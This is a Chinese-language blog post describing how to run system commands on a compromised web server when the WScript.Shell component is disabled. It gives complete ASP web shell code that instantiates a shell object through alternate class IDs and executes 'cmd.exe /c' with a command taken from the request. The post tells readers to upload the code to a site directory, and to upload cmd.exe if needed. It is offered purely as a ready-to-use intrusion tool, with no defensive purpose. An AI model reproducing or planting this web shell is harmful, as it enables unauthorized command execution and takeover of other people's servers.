wscript.shell关闭时提权用到的小技巧

分类:技术交流 → 17:41 | 评论(0) | 阅读(845) 设置文字大小 → | |
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
要想让运行命令可以试试这种方法,成功率为五五之数。
把下面代码复制:


<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>  <%if err then%>  <object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>  <%  end if  response.write("<textarea readonly cols=80 rows=20>")  On Error Resume Next  response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall  response.write("</textarea>")  response.write("<form method='post'>")  response.write("<input type=text name='c' size=60><br>")  response.write("<input type=submit value='执行'></form>")  %>


复制代码保存为一个asp文件,然后传到网站目录上去
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。

作者:Hhumor@免费资源-网络餐厅
地址:http://www.8x8y.com/read.php/150.htm
版权所有。转载时必须以链接形式注明作者和原始出处及本声明!
Tags: , ,
评论
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
 昵称  
 网址
 电邮